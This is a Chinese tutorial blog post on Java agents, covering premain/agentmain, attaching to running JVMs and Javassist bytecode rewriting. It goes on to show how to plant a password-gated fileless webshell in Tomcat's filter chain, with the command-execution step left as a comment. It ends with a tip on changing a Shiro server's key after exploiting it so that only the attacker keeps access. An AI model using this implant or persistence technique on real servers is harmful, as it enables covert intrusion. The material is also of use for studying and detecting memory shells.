文章目录

  • 1. 什么是java agent
  • 补充:一些重要的类
    • ClassFileTransformer
    • VirtualMachine
    • CtMethod
  • 2. 利用premain函数实现java agent
    • 2.1 执行逻辑
    • 2.2 利用javaagent修改加载到jvm前被拦截的类
  • 3. 利用agentmain实现javaagent
    • 3.1 执行逻辑
    • 3.2 参考代码
      • 1. 实现连接指定jvm进程的代码:
      • 2. 实现agentmain
  • 4. 利用agentmain实现内存马
    • 4.1 修改spring boot中的Filter实现内存马
    • 4.2 运行逻辑
  • 5. 局限性
  • 6. 其他思路
  • 参考文章

1. 什么是java agent

本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象,我们可以通过Instrumentation对象对还未加载的class进行拦截与修改。

还有一种实现方式是利用agentmain()函数。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。
对应进程接着会调用agentmain函数,进而操作Instrumentation对象Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改其中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写


补充:一些重要的类

ClassFileTransformer


Instrumentation对象实现对class的修改操作是依赖于ClassFileTransformer接口中的transform函数。

ClassFileTransformer对象会被当作参数传给Instrumentation.addTransformer函数。此时Instrumentation.addTransformer函数其实执行的是其中ClassFileTransformer的transform函数。

VirtualMachine

public abstract class VirtualMachine {// 获得当前所有的JVM列表public static List<VirtualMachineDescriptor> list() { ... }// 根据pid连接到JVMpublic static VirtualMachine attach(String id) { ... }// 断开连接public abstract void detach() {}// 加载agent,agentmain方法靠的就是这个方法public void loadAgent(String agent) { ... }
}

CtMethod

同理,可以理解成加强版的Method对象。

获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)。

这个类提供了一些方法,使我们可以便捷的修改方法体:

public final class CtMethod extends CtBehavior {// 主要的内容都在父类 CtBehavior 中
}// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {// 设置方法体public void setBody(String src);// 插入在方法体最前面public void insertBefore(String src);// 插入在方法体最后面public void insertAfter(String src);// 在方法体的某一行插入内容public int insertAt(int lineNum, String src);}

2. 利用premain函数实现java agent

Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:

  1. 这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
  2. Premain-Class 指定的那个类必须实现 premain() 方法。

拦截到的class文件会被转化为字节码,然后传给premain函数,premain函数中可以调用Instrumentation类中的函数对刚刚传送进来的字节码进行操作。等到操作结束会将字节码给jvm加载。

premain函数格式如下:

public static void premain(String agentArgs, Instrumentation inst)

2.1 执行逻辑

如果a.jar是bcd.class的javaagent,那么执行java -javaagent:a.jar bcd命令后发生的事情如下:

  1. a.jar包会拦截程序执行过程中所有的类
  2. 所有即将被加载的类会按顺序变成字节码,然后将字节码传送给a.jar包中指定类的premain()函数当作参数。
  3. premain函数我们可以自定义,根据我们写的代码可以对传入的类进行更改操作。
  4. 操作完后这些类会被jvm加载。这是其中一种javaagent的实现方式,必须在java命令执行时加上-javaagent参数。

2.2 利用javaagent修改加载到jvm前被拦截的类

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;/*** @author: rickiyang* @date: 2019/8/12* @description:*/
public class PreMainTraceAgent {public static void premain(String agentArgs, Instrumentation inst) {System.out.println("agentArgs : " + agentArgs);//下面这段代码会触发MyClassTransformer类中的transform函数inst.addTransformer(new MyClassTransformer(), true);}public class MyClassTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined,final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {// 操作Date类if ("java/util/Date".equals(className)) {try {// 从ClassPool获得CtClass对象final ClassPool classPool = ClassPool.getDefault();final CtClass clazz = classPool.get("java.util.Date");CtMethod convertToAbbr = clazz.getDeclaredMethod("convertToAbbr");//这里对 java.util.Date.convertToAbbr() 方法进行了改写,在 return之前增加了一个 打印操作String methodBody = "{sb.append(Character.toUpperCase(name.charAt(0)));" +"sb.append(name.charAt(1)).append(name.charAt(2));" +"System.out.println(\"test test test\");" +"return sb;}";convertToAbbr.setBody(methodBody);// 返回字节码,并且detachCtClass对象byte[] byteCode = clazz.toBytecode();//detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载clazz.detach();return byteCode;} catch (Exception ex) {ex.printStackTrace();}}// 如果返回null则字节码不会被修改return null;}
}

3. 利用agentmain实现javaagent

3.1 执行逻辑

  1. 确定要attach到哪个jvm进程中
  2. 使用id函数确定jvm进程的pid
  3. 使用attach(pid)函数链接这个jvm进程
  4. 使用loadAgent将我们的恶意agent.jar包添加进jvm进程中
  5. jvm进程会生成一个instrumentation对象并传到agent.jar包中指定类的agentmain函数中当作参数。
  6. agentmain函数执行。

3.2 参考代码

VirtualMachine.list()方法会去寻找当前系统中所有运行着的JVM进程,你可以打印displayName()看到当前系统都有哪些JVM进程在运行。因为main函数执行起来的时候进程名为当前类名,所以通过这种方式可以去找到当前的进程id。

1. 实现连接指定jvm进程的代码:

可以理解成连接器,用来连接指定的jvm进程:

import com.sun.tools.attach.*;import java.io.IOException;
import java.util.List;/*** @author rickiyang* @date 2019-08-16* @Desc*/
public class TestAgentMain {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {//获取当前系统中所有 运行中的 虚拟机System.out.println("running JVM start ");List<VirtualMachineDescriptor> list = VirtualMachine.list();for (VirtualMachineDescriptor vmd : list) {//如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid//然后加载 agent.jar 发送给该虚拟机System.out.println(vmd.displayName());if (vmd.displayName().endsWith("com.rickiyang.learn.job.TestAgentMain")) {VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());//将我们的jar文件添加到目标jvm进程中virtualMachine.loadAgent("/Users/yangyue/Documents/java-agent.jar");//从jvm进程中分离virtualMachine.detach();}}}}

2. 实现agentmain

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;/*** @author rickiyang* @date 2019-08-16* @Desc*/
public class AgentMainTest {public static void agentmain(String agentArgs, Instrumentation instrumentation) {instrumentation.addTransformer(new DefineTransformer(), true);}static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println("premain load Class:" + className);return classfileBuffer;}}
}

4. 利用agentmain实现内存马

4.1 修改spring boot中的Filter实现内存马

具体是通过修改ApplicationFilterChain类中的doFilter方法实现,下面是agent.jar代码,依旧使用上面的连接器进行连接:

public class AgentDemo {public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {Class[] classes = inst.getAllLoadedClasses();// 判断类是否已经加载for (Class aClass : classes) {      if (aClass.getName().equals(TransformerDemo.editClassName)) { // 添加 Transformerinst.addTransformer(new TransformerDemo(), true);// 触发 Transformer,重新加载TransformerDemo.editClassName所指向的类inst.retransformClasses(aClass);}}}public class TransformerDemo implements ClassFileTransformer {// 只需要修改这里就能修改别的函数public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";public static final String editMethod = "doFilter";public static String readSource(String name) {String result = "";// result = name文件的内容return result;}@Overridepublic byte[] transform(...) throws IllegalClassFormatException {try {ClassPool cp = ClassPool.getDefault();//判断类是否已经被加载if (classBeingRedefined != null) {ClassClassPath ccp = new ClassClassPath(classBeingRedefined);cp.insertClassPath(ccp);}CtClass ctc = cp.get(editClassName);CtMethod method = ctc.getDeclaredMethod(editMethod);//读取start.txt中的恶意代码String source = this.readSource("start.txt");//将代码插入到dofilter函数的开头method.insertBefore(source);byte[] bytes = ctc.toBytes();//断开连接ctc.detach();//将更改好的ApplicationFilterChain的字节码返回并加载到jvm中使用return bytes;} catch (Exception e){e.printStackTrace();}return null;}
}}//start.txt内容
{javax.servlet.http.HttpServletRequest request = $1;javax.servlet.http.HttpServletResponse response = $2;request.setCharacterEncoding("UTF-8");String result = "";String password = request.getParameter("password");if (password != null) {// change the password hereif (password.equals("xxxxxx")) { String cmd = request.getParameter("cmd");if (cmd != null && cmd.length() > 0) {// 执行命令,获取回显}response.getWriter().write(result);return;}}
}

4.2 运行逻辑

5. 局限性

1.premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

2.类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses()方法,此方法有以下限制:

新类和老类的父类必须相同;
新类和老类实现的接口数也要相同,并且是相同的接口;
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致;
新类和老类新增或删除的方法必须是private static/final修饰的;
可以修改方法体。

6. 其他思路

利用shiro反序列化漏洞拿到shiro机器后,利用setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));更改shiro的key,使得这个shiro机器只有你能rce其他人不知道key就不能。

参考文章

Java Agent 从入门到内存马
java agent使用指南

java agent内存马学习相关推荐

  1. 基于Java Agent内存马

    前言 前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析 大的思路 第一种是通过perm ...

  2. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  3. java内存马学习与理解

    文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...

  4. java Servlet内存马

    Servlet web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns=& ...

  5. Java虚拟机内存区域---学习笔记

    Java虚拟机 虚拟机: 定义:模拟某种计算机体系结构,执行特定指令集的软件. 种类: 系统虚拟机(Virtual Box .VMware) 进程虚拟机(JVM.Adobe Flash Player. ...

  6. 初识Java内存马检测

    近些年,无文件攻击技术越来越流行.本文旨在介绍无文件攻击中最为流行的一种技术--Java内存马,让企业.用户了解和重视其危害性,提高防范意识,降低安全风险. - 全文约1500字,预计阅读时间为4分钟 ...

  7. 『Java安全』Tomcat内存马_动态注册Listener内存马

    『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...

  8. Java内存马查杀GUI工具

    注意:请勿在生产环境使用,存在打崩业务的风险,目前适用于自己搭建靶机分析学习 功能: 关于Java Web内存马查杀的文章和工具已经有不少,不过大都不够完善,各有缺点:于是我做了一款GUI版本的实时内 ...

  9. 从一个被Tomcat拒绝的漏洞到特殊内存马

    介绍 今天研究内存马相关的东西,偶然间发现一处解析BUG 一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下 ...

最新文章

  1. 36张图详解网络基础知识
  2. 我的angularjs源码学习之旅2——依赖注入
  3. js 实现“倒计时” 以及 N秒后跳转页面
  4. 蓝桥杯-安慰奶牛(java)
  5. boost::timer模块检查在同一程序中使用 Chrono 和 Timer 不会导致链接错误
  6. 使用批处理查看.class文件内容--javap指令
  7. node.js 执行php,node.js - 如何利用php执行nodejs文件
  8. Oracle Groundbreakers 亚太巡演 2021中国区精彩抢先看
  9. [UML]UML系列——时序图(顺序图)sequence diagram
  10. 新手降NAT网络第十步曲,小编提供思路。
  11. 十大新兴编程语言_十大编程语言
  12. 一条SQL语句在MySQL中执行过程全解析
  13. VSCode: Acquiring CodeLLDB platform package 速度慢
  14. kylin build过程详解
  15. Leetcode #765 情侣牵手(贪心算法)
  16. java计算机毕业设计物流公司停车位管理源程序+mysql+系统+lw文档+远程调试
  17. codeforces-574B
  18. CC2640R2F学习笔记(一.开发环境)
  19. StringIO cStringIO
  20. 【笔记】嵌入式C语言随堂笔记

热门文章

  1. 外贸行业里的视频营销应该怎么玩起来?
  2. 从阿里巴巴IPO联想到创始人和资方关系
  3. 一、solr6.5的安装与配置
  4. 嵌入式面经汇总(一)
  5. Elasticsearch拼音分词插件安装
  6. undefined symbol: _Py_ZeroStruct错误一种可能的原因
  7. Arduino使用倾斜开关
  8. break怎么跳出多层循环C语言,C/C++ 跳出多重循环方法
  9. Android开发究竟该如何学习,跳槽薪资翻倍
  10. android开发之网络棋牌类在线游戏开发心得(服务器端、Java) 好文章值得收藏...